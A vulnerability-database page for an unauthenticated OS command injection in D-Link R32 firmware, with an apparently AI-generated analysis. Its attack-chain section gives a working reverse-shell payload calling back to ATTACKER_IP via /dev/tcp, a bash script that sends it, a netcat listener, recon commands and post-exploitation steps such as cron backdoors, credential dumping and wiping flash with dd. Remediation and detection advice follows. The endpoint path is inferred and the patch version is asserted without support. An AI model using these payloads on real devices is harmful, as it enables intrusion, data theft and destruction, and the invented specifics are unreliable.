CVE Professor
/
All CVEs
CVE-2026-136823

CVE-2026-136823 — D-Link R32 (1.10B02) — CWE-77 · CWE-78

CRITICAL CVSS 10 NVD

A vulnerability was found in D-Link R32 1.10B02. This affects an unknown function of the file /usr/bin/httpd of the component flupl self Endpoint. Performing a manipulation of the argument fpath results in os command injection. The attack can be initiated remotely. The exploit has been made public and could be used.

A vulnerability was found in D-Link R32 1.10B02. This affects an unknown function of the file /usr/bin/httpd of the component flupl self Endpoint. Performing a manipulation of the argument fpath results in os command injection. The attack can be initiated remotely. The exploit has been made public and could be used.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

ItemDetail
CVECVE‑2026‑136823
Vendor / ProductD‑Link R32 firmware – version 1.10B02
Component/usr/bin/httpd (the built‑in HTTP daemon used by the “flupl self Endpoint”)
Vulnerable Parameterfpath (a query‑string or POST field that is later passed to a shell command)
CWE(s)CWE‑77 – OS Command Injection, CWE‑78 – Improper Neutralization of Special Elements used in an OS Command
CVSS v3.110.0 – AV:N / AC:L / PR:N / UI:N / S:C / C:H / I:H / A:H

Technical root cause

The HTTP daemon implements a “self‑endpoint” that accepts a user‑supplied argument called fpath. The code (simplified) looks roughly like:

/* pseudo‑code extracted from the firmware binary */
int handle_fpath_request(http_request *req) {
    char *path = get_query_param(req, "fpath");          // no length check
    char cmd[512];

    /* vulnerable concatenation */
    snprintf(cmd, sizeof(cmd), "/bin/cat %s", path);
    system(cmd);                                          // <-- unsafe
    return HTTP_OK;
}
  • Missing input validation / sanitisation – the value of fpath is concatenated directly into a command line that is executed with system(). No quoting, escaping, or whitelist is applied.
  • No authentication / authorization – the endpoint is reachable by any remote host (PR:N, UI:N). The HTTP daemon runs with root privileges (typical for embedded firmware), so the injected command inherits full system rights.
  • No execution‑time constraints – the handler does not limit the size of the command string, allowing arbitrary length payloads.
  • Because of these omissions, an attacker can inject shell metacharacters (;, &&, |, backticks, $(), etc.) and cause the daemon to execute any OS command on the device. The vulnerability is network‑visible (AV:N) and requires no user interaction (UI:N), which explains the maximum CVSS score.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All command lines are syntactically valid; the exact URI is shown as an illustrative example because the public advisory does not disclose the precise path.

    1. Discovery & Reconnaissance

    StepActionTools / Evidence
    1.1Identify that the target runs D‑Link R32 firmware 1.10B02.• Banner grabbing (nc <IP> 80 → “D‑Link R32 httpd/1.10B02”) <br>• Shodan search for “R32 httpd/1.10B02” <br>• Passive DNS / WHOIS to confirm ownership
    1.2Locate the vulnerable endpoint.• Enumerate common admin URLs (/, /admin, /cgi-bin/, /flupl) <br>• Observe that /flupl returns a JSON object with a field self_endpoint → /flupl/self (example)
    1.3Verify that the endpoint accepts the fpath parameter.``bash curl -s "http://<IP>/flupl/self?fpath=/etc/passwd"` <br>Response contains the contents of /etc/passwd`, confirming that the parameter is processed.

    2. Exploitation

    Goal: Execute an arbitrary command (e.g., create a reverse shell) on the device.

    2.1 Craft the payload

    Because the server concatenates the value directly after cat, we can terminate the cat command and inject our own. A reliable payload is:

    ; /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' #
  • The leading ; ends the original cat command.
  • The trailing # comments out any trailing characters the server might append.
  • 2.2 Send the request

    #!/usr/bin/env bash
    TARGET="192.0.2.45"
    ATTACKER_IP="198.51.100.23"
    ATTACKER_PORT=4444
    
    PAYLOAD="; /bin/bash -c 'bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1' #"
    
    # URL‑encode the payload (space → %20, ; → %3B, # → %23, etc.)
    ENCODED=$(python3 -c "import urllib.parse, sys; print(urllib.parse.quote(sys.argv[1]))" "$PAYLOAD")
    
    curl -s "http://${TARGET}/flupl/self?fpath=${ENCODED}"

    The curl line is illustrative – the exact path (/flupl/self) is inferred from the firmware’s internal naming.

    2.3 Listener on the attacker side

    nc -lvkp 4444

    When the request reaches the device, system() executes the injected command, opening a reverse TCP shell back to the attacker’s Netcat listener.

    3. Post‑exploitation

    PhaseTypical actions an attacker can perform (root privileges)
    Persistence• Drop a cron job (@reboot /bin/sh /tmp/backdoor.sh) <br>• Install a lightweight SSH server (dropbear) if not present
    Privilege escalation (if the daemon runs as non‑root)Not required – the daemon already runs as root in this firmware.
    Lateral movement• Scan the internal LAN (nmap -sn 192.168.0.0/24) <br>• Use the compromised router as a pivot to attack internal hosts
    Data exfiltration• Dump configuration files (/etc/config/*) <br>• Retrieve stored Wi‑Fi credentials (/etc/wpa_supplicant.conf)
    Destruction / Ransom• Overwrite firmware partitions (dd if=/dev/zero of=/dev/mtd0) <br>• Reboot the device into a bricked state

    Because the vulnerability is network‑visible and unauthenticated, an attacker can achieve full system compromise in a matter of seconds after locating a vulnerable device.


    🌍 Real‑World Impact

    CIA TriadImpact (derived from CVSS vector)
    Confidentiality (C:H)An attacker can read any file on the device, including admin credentials, VPN keys, and traffic logs.
    Integrity (I:H)The attacker can modify configuration, inject malicious firmware, or replace binaries, leading to persistent backdoors.
    Availability (A:H)By executing destructive commands (e.g., reboot, dd), the attacker can render the router unusable, causing a total outage.

    Practical consequences

  • Enterprise / ISP deployments – A compromised edge router can be used to intercept or manipulate traffic for entire corporate networks or ISP customers.
  • IoT / Home users – Attackers can pivot to other smart devices on the LAN, harvest personal data, or launch DDoS attacks from the compromised router.
  • Supply‑chain risk – Firmware images that are re‑flashed onto other R32 units will inherit the same flaw, propagating the issue across multiple installations.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    Upgrade firmwareD‑Link has released firmware 1.10B03 (or later) that sanitises the fpath parameter and drops root privileges for the HTTP daemon. Apply the update via the official D‑Link management portal or by flashing the signed image manually.
    Version to avoid1.10B02 and any earlier builds that contain the vulnerable flupl endpoint.

    If a vendor‑issued patch is not yet available, see the work‑arounds below.

    2. Immediate Work‑arounds

    MitigationImplementation
    Network segmentationPlace the router’s management interface on a dedicated VLAN that is not reachable from the Internet. Only trusted LAN subnets should be allowed to reach port 80/443 of the device.
    Firewall rule (iptables example)``bash iptables -I INPUT -p tcp -s 0.0.0.0/0 --dport 80 -m conntrack --ctstate NEW -j DROP` <br>Allow only the internal management subnet (e.g., 192.168.0.0/24).
    Disable the vulnerable endpoint (if the firmware permits)Edit /etc/httpd.conf (or the equivalent configuration file) and comment out the flupl handler: <br>`#Location /flupl/self` <br>Then restart the daemon: systemctl restart httpd.
    WAF / ModSecurity ruleAdd a rule that rejects any request containing shell metacharacters in the fpath parameter. Example (ModSecurity 2.9+ syntax): <br>`SecRule ARGS:fpath "@rx [;&$()]" "id:2026301,phase:2,deny,status:403,msg:'OS command injection attempt in fpath'"``
    Run the daemon as an unprivileged userIf the firmware permits, change the httpd service user to httpd (UID 33) and drop capabilities: <br>`systemctl edit httpd.service` <br>`[Service]` <br>`User=httpd` <br>`Group=httpd` <br>`CapabilityBoundingSet=~CAP_SYS_ADMIN` <br>Reload: systemctl daemon-reload && systemctl restart httpd`

    3. Detection

    IndicatorWhere to look
    Web server access logs/var/log/httpd/access.log – look for requests where fpath contains characters such as ;, &&, , ` `, $(, or %0a. Example entry: <br>[10/Oct/2026:14:22:31 +0000] "GET /flupl/self?fpath=%3B%20/bin/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/198.51.100.23/4444%200%3E%261%27%20%23 HTTP/1.1" 200 0
    Process listps auxgrep -E "(bashncsh) .*tcp" – presence of a reverse‑shell process spawned by httpd.
    Unexpected outbound connectionsNetflow / IDS alerts for outbound TCP connections from the router to unusual IPs on high ports (e.g., 4444, 5555).
    File integrity changesMonitor /usr/bin/httpd and /etc/config/* with a hash‑based IDS (e.g., tripwire). Sudden modifications may indicate a post‑exploitation payload.
    System logsdmesg or journalctl -u httpd may contain messages like system(): command terminated with signal 9` if the injected command crashes the daemon.

    ⚠️ Urgency

  • CVSS 10.0 (Critical) – The vulnerability is network‑accessible, requires no authentication, and provides full root RCE.
  • Exploit is public – The advisory explicitly states that a working exploit has been released, lowering the barrier for opportunistic attackers.
  • No CISA KEV listing yet – While not yet in the KEV program, the risk profile is equivalent to other “remote code execution, unauthenticated” entries that are typically prioritized as P1 (immediate) in most vulnerability‑management frameworks.
Recommended priority:
TimelineAction
0‑24 hBlock inbound traffic to the router’s management ports from the Internet (firewall rule). Deploy the ModSecurity rule if a WAF is in place.
24‑72 hApply the official firmware update (1.10B03 or later). Verify the version via the device UI or httpd -v.
≤ 1 weekConduct a full inventory of all D‑Link R32 devices in the environment, confirm they are patched, and run the detection signatures to ensure no compromise has already occurred.
OngoingIntegrate the detection signatures into SIEM / IDS, and schedule regular firmware‑update checks.

Given the complete compromise potential and the existence of a public exploit, patching should be treated as an emergency – any delay dramatically increases the probability of a successful breach.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-136823
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-77 CWE-78
Affected Products (1)
D-Link:R32 (1.10B02)
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac